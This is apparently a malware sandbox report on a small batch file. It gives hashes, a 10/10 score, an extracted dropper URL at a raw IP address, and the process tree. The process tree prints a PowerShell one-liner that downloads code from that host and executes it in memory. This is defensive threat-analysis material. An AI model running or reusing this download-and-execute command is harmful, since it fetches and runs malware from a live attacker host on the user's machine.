36b783132e9054391ec692f5470a2e2b0a9cdce7a09018477bb7eeefa7fc6739 | Triage

Analysis

max time kernel
108s
max time network
149s
platform
windows10_x64
resource
win10v200217
submitted
17-03-2020 17:10

Sharing

Report Analysis Logs

General

Target

ydPBfFLN.bat
Size

196B
MD5

50fdb1991ec03a3aa2a0e43f003b45fa
SHA1

fd5349455dc0e38995beffbb501656e0cb76b8f3
SHA256

36b783132e9054391ec692f5470a2e2b0a9cdce7a09018477bb7eeefa7fc6739
SHA512

e7f5f38700f49162fae8c8f3a0ac9a06cac833321c2c39235f10c711c69de29dc9c4dca5806bd89810e1e2fcdbd3e0e3cd2a4e76ba2965baac703d7aeb0f1b82

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/ydPBfFLN

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3636 3616 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3636 WerFault.exe
Token: SeBackupPrivilege 3636 WerFault.exe
Token: SeDebugPrivilege 3636 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe
3636	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ydPBfFLN.bat"
1⤵
PID:3924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ydPBfFLN');Invoke-MWMIOGLDAXQVF;Start-Sleep -s 10000"
2⤵
PID:3616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3636

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3636-0-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download
memory/3636-1-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

Filesize
4KB

Download